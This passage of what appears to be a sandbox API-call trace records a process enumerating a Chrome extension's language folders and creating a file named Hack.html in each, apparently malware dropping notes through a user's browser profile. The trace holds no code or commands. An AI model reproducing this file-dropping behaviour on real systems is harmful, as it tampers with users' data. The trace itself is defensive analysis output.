lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.587] GetFileType (hFile=0x174) returned 0x1 [0072.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.587] GetFileType (hFile=0x174) returned 0x1 [0072.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpFilePart=0x0) returned 0x8c [0072.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\", lpFilePart=0x0) returned 0x8d [0072.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.590] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.590] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.590] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.590] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpFilePart=0x0) returned 0x8c [0072.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\", lpFilePart=0x0) returned 0x8d [0072.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.591] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.591] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.591] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.591] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\Hack.html", lpFilePart=0x0) returned 0x96 [0072.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.592] GetFileType (hFile=0x174) returned 0x1 [0072.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.592] GetFileType (hFile=0x174) returned 0x1 [0072.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpFilePart=0x0) returned 0x89 [0072.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\", lpFilePart=0x0) returned 0x8a [0072.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.596] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.596] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.597] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.597] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpFilePart=0x0) returned 0x89 [0072.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\", lpFilePart=0x0) returned 0x8a [0072.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.597] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.597] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.597] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.598] GetFileType (hFile=0x174) returned 0x1 [0072.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.599] GetFileType (hFile=0x174) returned 0x1 [0072.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpFilePart=0x0) returned 0x8d [0072.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\", lpFilePart=0x0) returned 0x8e [0072.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.600] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpFilePart=0x0) returned 0x8d [0072.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\", lpFilePart=0x0) returned 0x8e [0072.601] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.601] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\Hack.html", lpFilePart=0x0) returned 0x97 [0072.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.602] GetFileType (hFile=0x174) returned 0x1 [0072.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.602] GetFileType (hFile=0x174) returned 0x1 [0072.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.603] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpFilePart=0x0) returned 0x89 [0072.603] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\", lpFilePart=0x0) returned 0x8a [0072.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.604] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.604] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpFilePart=0x0) returned 0x89 [0072.604] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\", lpFilePart=0x0) returned 0x8a [0072.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.605] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.605] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.605] GetFileType (hFile=0x174) returned 0x1 [0072.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.606] GetFileType (hFile=0x174) returned 0x1 [0072.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpFilePart=0x0) returned 0x89 [0072.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x8a [0072.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.607] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpFilePart=0x0) returned 0x89 [0072.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x8a [0072.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.608] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.608] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.608] GetFileType (hFile=0x174) returned 0x1 [0072.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.608] GetFileType (hFile=0x174) returned 0x1 [0072.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpFilePart=0x0) returned 0x8a [0072.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x8b [0072.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 